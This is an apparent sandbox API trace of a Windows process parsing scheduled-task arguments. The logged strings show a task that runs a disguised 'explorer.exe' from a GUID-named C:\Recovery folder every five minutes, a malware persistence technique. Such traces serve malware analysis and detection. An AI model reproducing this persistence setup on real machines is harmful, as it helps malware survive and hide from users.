[0139.210] lstrlenW (lpString="sc") returned 2 [0139.210] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.210] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|?|") returned 3 [0139.210] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.210] lstrlenW (lpString="|?|") returned 3 [0139.210] lstrlenW (lpString="|sc|") returned 4 [0139.210] SetLastError (dwErrCode=0x490) [0139.210] lstrlenW (lpString="s") returned 1 [0139.210] lstrlenW (lpString="s") returned 1 [0139.210] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.210] lstrlenW (lpString="sc") returned 2 [0139.210] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.210] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|s|") returned 3 [0139.210] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.210] lstrlenW (lpString="|s|") returned 3 [0139.210] lstrlenW (lpString="|sc|") returned 4 [0139.210] SetLastError (dwErrCode=0x490) [0139.210] lstrlenW (lpString="u") returned 1 [0139.210] lstrlenW (lpString="u") returned 1 [0139.210] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.210] lstrlenW (lpString="sc") returned 2 [0139.211] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.211] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|u|") returned 3 [0139.211] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.211] lstrlenW (lpString="|u|") returned 3 [0139.211] lstrlenW (lpString="|sc|") returned 4 [0139.211] SetLastError (dwErrCode=0x490) [0139.211] lstrlenW (lpString="p") returned 1 [0139.211] lstrlenW (lpString="p") returned 1 [0139.211] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.211] lstrlenW (lpString="sc") returned 2 [0139.211] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.211] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|p|") returned 3 [0139.211] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.211] lstrlenW (lpString="|p|") returned 3 [0139.211] lstrlenW (lpString="|sc|") returned 4 [0139.211] SetLastError (dwErrCode=0x490) [0139.211] lstrlenW (lpString="ru") returned 2 [0139.211] lstrlenW (lpString="ru") returned 2 [0139.211] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.211] lstrlenW (lpString="sc") returned 2 [0139.211] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.211] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ru|") returned 4 [0139.211] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.211] lstrlenW (lpString="|ru|") returned 4 [0139.211] lstrlenW (lpString="|sc|") returned 4 [0139.211] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0139.211] SetLastError (dwErrCode=0x490) [0139.211] lstrlenW (lpString="rp") returned 2 [0139.212] lstrlenW (lpString="rp") returned 2 [0139.212] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.212] lstrlenW (lpString="sc") returned 2 [0139.212] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.212] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rp|") returned 4 [0139.212] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.212] lstrlenW (lpString="|rp|") returned 4 [0139.212] lstrlenW (lpString="|sc|") returned 4 [0139.212] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0139.212] SetLastError (dwErrCode=0x490) [0139.212] lstrlenW (lpString="sc") returned 2 [0139.212] lstrlenW (lpString="sc") returned 2 [0139.212] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.212] lstrlenW (lpString="sc") returned 2 [0139.212] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.212] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.212] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.212] lstrlenW (lpString="|sc|") returned 4 [0139.212] lstrlenW (lpString="|sc|") returned 4 [0139.212] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0139.212] SetLastError (dwErrCode=0x0) [0139.212] SetLastError (dwErrCode=0x0) [0139.212] lstrlenW (lpString="MINUTE") returned 6 [0139.212] lstrlenW (lpString="-/") returned 2 [0139.212] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0139.212] SetLastError (dwErrCode=0x490) [0139.212] SetLastError (dwErrCode=0x490) [0139.212] SetLastError (dwErrCode=0x0) [0139.213] lstrlenW (lpString="MINUTE") returned 6 [0139.213] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0139.213] SetLastError (dwErrCode=0x490) [0139.213] SetLastError (dwErrCode=0x0) [0139.213] GetProcessHeap () returned 0x1e0000 [0139.213] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fd570 [0139.213] _memicmp (_Buf1=0x1fd570, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.213] lstrlenW (lpString="MINUTE") returned 6 [0139.213] GetProcessHeap () returned 0x1e0000 [0139.213] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fd590 [0139.213] lstrlenW (lpString="MINUTE") returned 6 [0139.213] lstrlenW (lpString=" \x09") returned 2 [0139.213] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0139.213] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0139.213] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0139.213] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0139.213] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0139.213] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0139.213] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0139.213] GetLastError () returned 0x0 [0139.213] lstrlenW (lpString="MINUTE") returned 6 [0139.213] lstrlenW (lpString="MINUTE") returned 6 [0139.213] SetLastError (dwErrCode=0x0) [0139.213] SetLastError (dwErrCode=0x0) [0139.213] lstrlenW (lpString="/mo") returned 3 [0139.213] lstrlenW (lpString="-/") returned 2 [0139.213] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.213] lstrlenW (lpString="create") returned 6 [0139.213] lstrlenW (lpString="create") returned 6 [0139.213] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.214] lstrlenW (lpString="mo") returned 2 [0139.214] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.214] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|create|") returned 8 [0139.214] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.214] lstrlenW (lpString="|create|") returned 8 [0139.214] lstrlenW (lpString="|mo|") returned 4 [0139.214] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0139.214] SetLastError (dwErrCode=0x490) [0139.214] lstrlenW (lpString="?") returned 1 [0139.214] lstrlenW (lpString="?") returned 1 [0139.214] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.214] lstrlenW (lpString="mo") returned 2 [0139.214] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.214] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|?|") returned 3 [0139.214] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.214] lstrlenW (lpString="|?|") returned 3 [0139.214] lstrlenW (lpString="|mo|") returned 4 [0139.214] SetLastError (dwErrCode=0x490) [0139.214] lstrlenW (lpString="s") returned 1 [0139.214] lstrlenW (lpString="s") returned 1 [0139.214] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.214] lstrlenW (lpString="mo") returned 2 [0139.214] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.214] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|s|") returned 3 [0139.214] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.214] lstrlenW (lpString="|s|") returned 3 [0139.214] lstrlenW (lpString="|mo|") returned 4 [0139.214] SetLastError (dwErrCode=0x490) [0139.215] lstrlenW (lpString="u") returned 1 [0139.215] lstrlenW (lpString="u") returned 1 [0139.215] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.215] lstrlenW (lpString="mo") returned 2 [0139.215] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.215] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|u|") returned 3 [0139.215] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.215] lstrlenW (lpString="|u|") returned 3 [0139.215] lstrlenW (lpString="|mo|") returned 4 [0139.215] SetLastError (dwErrCode=0x490) [0139.215] lstrlenW (lpString="p") returned 1 [0139.215] lstrlenW (lpString="p") returned 1 [0139.215] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.215] lstrlenW (lpString="mo") returned 2 [0139.215] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.215] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|p|") returned 3 [0139.215] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.215] lstrlenW (lpString="|p|") returned 3 [0139.215] lstrlenW (lpString="|mo|") returned 4 [0139.215] SetLastError (dwErrCode=0x490) [0139.215] lstrlenW (lpString="ru") returned 2 [0139.215] lstrlenW (lpString="ru") returned 2 [0139.215] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.215] lstrlenW (lpString="mo") returned 2 [0139.215] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.216] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ru|") returned 4 [0139.216] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.216] lstrlenW (lpString="|ru|") returned 4 [0139.216] lstrlenW (lpString="|mo|") returned 4 [0139.216] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0139.216] SetLastError (dwErrCode=0x490) [0139.216] lstrlenW (lpString="rp") returned 2 [0139.216] lstrlenW (lpString="rp") returned 2 [0139.216] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.216] lstrlenW (lpString="mo") returned 2 [0139.216] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.216] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rp|") returned 4 [0139.216] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.216] lstrlenW (lpString="|rp|") returned 4 [0139.216] lstrlenW (lpString="|mo|") returned 4 [0139.217] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0139.217] SetLastError (dwErrCode=0x490) [0139.217] lstrlenW (lpString="sc") returned 2 [0139.217] lstrlenW (lpString="sc") returned 2 [0139.217] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.217] lstrlenW (lpString="mo") returned 2 [0139.217] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.217] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.217] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.217] lstrlenW (lpString="|sc|") returned 4 [0139.217] lstrlenW (lpString="|mo|") returned 4 [0139.217] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0139.217] SetLastError (dwErrCode=0x490) [0139.217] lstrlenW (lpString="mo") returned 2 [0139.217] lstrlenW (lpString="mo") returned 2 [0139.217] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.217] lstrlenW (lpString="mo") returned 2 [0139.217] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.217] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.217] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.217] lstrlenW (lpString="|mo|") returned 4 [0139.217] lstrlenW (lpString="|mo|") returned 4 [0139.217] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0139.217] SetLastError (dwErrCode=0x0) [0139.217] SetLastError (dwErrCode=0x0) [0139.217] lstrlenW (lpString="5") returned 1 [0139.217] SetLastError (dwErrCode=0x490) [0139.218] SetLastError (dwErrCode=0x0) [0139.218] lstrlenW (lpString="5") returned 1 [0139.218] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0139.218] SetLastError (dwErrCode=0x490) [0139.218] SetLastError (dwErrCode=0x0) [0139.218] _memicmp (_Buf1=0x1fd570, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.218] lstrlenW (lpString="5") returned 1 [0139.218] lstrlenW (lpString="5") returned 1 [0139.218] lstrlenW (lpString=" \x09") returned 2 [0139.218] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0139.218] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0139.218] GetLastError () returned 0x0 [0139.218] lstrlenW (lpString="5") returned 1 [0139.218] lstrlenW (lpString="5") returned 1 [0139.218] GetProcessHeap () returned 0x1e0000 [0139.218] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x4) returned 0x1fc210 [0139.218] SetLastError (dwErrCode=0x0) [0139.218] SetLastError (dwErrCode=0x0) [0139.218] lstrlenW (lpString="/tr") returned 3 [0139.218] lstrlenW (lpString="-/") returned 2 [0139.218] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.218] lstrlenW (lpString="create") returned 6 [0139.218] lstrlenW (lpString="create") returned 6 [0139.218] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.218] lstrlenW (lpString="tr") returned 2 [0139.218] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.218] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|create|") returned 8 [0139.218] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.218] lstrlenW (lpString="|create|") returned 8 [0139.218] lstrlenW (lpString="|tr|") returned 4 [0139.219] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0139.219] SetLastError (dwErrCode=0x490) [0139.219] lstrlenW (lpString="?") returned 1 [0139.219] lstrlenW (lpString="?") returned 1 [0139.219] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.219] lstrlenW (lpString="tr") returned 2 [0139.219] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.219] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|?|") returned 3 [0139.219] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.219] lstrlenW (lpString="|?|") returned 3 [0139.219] lstrlenW (lpString="|tr|") returned 4 [0139.219] SetLastError (dwErrCode=0x490) [0139.219] lstrlenW (lpString="s") returned 1 [0139.219] lstrlenW (lpString="s") returned 1 [0139.219] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.219] lstrlenW (lpString="tr") returned 2 [0139.219] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.219] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|s|") returned 3 [0139.219] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.219] lstrlenW (lpString="|s|") returned 3 [0139.219] lstrlenW (lpString="|tr|") returned 4 [0139.219] SetLastError (dwErrCode=0x490) [0139.219] lstrlenW (lpString="u") returned 1 [0139.219] lstrlenW (lpString="u") returned 1 [0139.219] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.219] lstrlenW (lpString="tr") returned 2 [0139.219] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.220] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|u|") returned 3 [0139.220] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.220] lstrlenW (lpString="|u|") returned 3 [0139.220] lstrlenW (lpString="|tr|") returned 4 [0139.220] SetLastError (dwErrCode=0x490) [0139.220] lstrlenW (lpString="p") returned 1 [0139.220] lstrlenW (lpString="p") returned 1 [0139.220] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.220] lstrlenW (lpString="tr") returned 2 [0139.220] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.220] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|p|") returned 3 [0139.220] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.220] lstrlenW (lpString="|p|") returned 3 [0139.220] lstrlenW (lpString="|tr|") returned 4 [0139.220] SetLastError (dwErrCode=0x490) [0139.220] lstrlenW (lpString="ru") returned 2 [0139.220] lstrlenW (lpString="ru") returned 2 [0139.220] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.220] lstrlenW (lpString="tr") returned 2 [0139.220] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.220] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ru|") returned 4 [0139.220] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.220] lstrlenW (lpString="|ru|") returned 4 [0139.220] lstrlenW (lpString="|tr|") returned 4 [0139.220] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0139.220] SetLastError (dwErrCode=0x490) [0139.220] lstrlenW (lpString="rp") returned 2 [0139.220] lstrlenW (lpString="rp") returned 2 [0139.221] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.221] lstrlenW (lpString="tr") returned 2 [0139.221] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.221] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rp|") returned 4 [0139.221] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.221] lstrlenW (lpString="|rp|") returned 4 [0139.221] lstrlenW (lpString="|tr|") returned 4 [0139.221] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0139.221] SetLastError (dwErrCode=0x490) [0139.221] lstrlenW (lpString="sc") returned 2 [0139.221] lstrlenW (lpString="sc") returned 2 [0139.221] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.221] lstrlenW (lpString="tr") returned 2 [0139.221] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.221] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.221] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.221] lstrlenW (lpString="|sc|") returned 4 [0139.221] lstrlenW (lpString="|tr|") returned 4 [0139.221] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0139.221] SetLastError (dwErrCode=0x490) [0139.221] lstrlenW (lpString="mo") returned 2 [0139.221] lstrlenW (lpString="mo") returned 2 [0139.221] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.221] lstrlenW (lpString="tr") returned 2 [0139.221] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.221] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.221] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.222] lstrlenW (lpString="|mo|") returned 4 [0139.222] lstrlenW (lpString="|tr|") returned 4 [0139.222] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0139.222] SetLastError (dwErrCode=0x490) [0139.222] lstrlenW (lpString="d") returned 1 [0139.222] lstrlenW (lpString="d") returned 1 [0139.222] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.222] lstrlenW (lpString="tr") returned 2 [0139.222] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.222] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|d|") returned 3 [0139.222] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.222] lstrlenW (lpString="|d|") returned 3 [0139.222] lstrlenW (lpString="|tr|") returned 4 [0139.222] SetLastError (dwErrCode=0x490) [0139.222] lstrlenW (lpString="m") returned 1 [0139.222] lstrlenW (lpString="m") returned 1 [0139.222] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.222] lstrlenW (lpString="tr") returned 2 [0139.222] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.222] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|m|") returned 3 [0139.222] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.222] lstrlenW (lpString="|m|") returned 3 [0139.222] lstrlenW (lpString="|tr|") returned 4 [0139.222] SetLastError (dwErrCode=0x490) [0139.222] lstrlenW (lpString="i") returned 1 [0139.222] lstrlenW (lpString="i") returned 1 [0139.222] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.222] lstrlenW (lpString="tr") returned 2 [0139.222] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.223] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|i|") returned 3 [0139.272] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.272] lstrlenW (lpString="|i|") returned 3 [0139.272] lstrlenW (lpString="|tr|") returned 4 [0139.272] SetLastError (dwErrCode=0x490) [0139.272] lstrlenW (lpString="tn") returned 2 [0139.273] lstrlenW (lpString="tn") returned 2 [0139.273] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.273] lstrlenW (lpString="tr") returned 2 [0139.273] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.273] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.273] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.273] lstrlenW (lpString="|tn|") returned 4 [0139.273] lstrlenW (lpString="|tr|") returned 4 [0139.273] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0139.273] SetLastError (dwErrCode=0x490) [0139.273] lstrlenW (lpString="tr") returned 2 [0139.273] lstrlenW (lpString="tr") returned 2 [0139.273] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.273] lstrlenW (lpString="tr") returned 2 [0139.273] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.273] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.273] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.273] lstrlenW (lpString="|tr|") returned 4 [0139.273] lstrlenW (lpString="|tr|") returned 4 [0139.273] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0139.273] SetLastError (dwErrCode=0x0) [0139.273] SetLastError (dwErrCode=0x0) [0139.273] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.273] lstrlenW (lpString="-/") returned 2 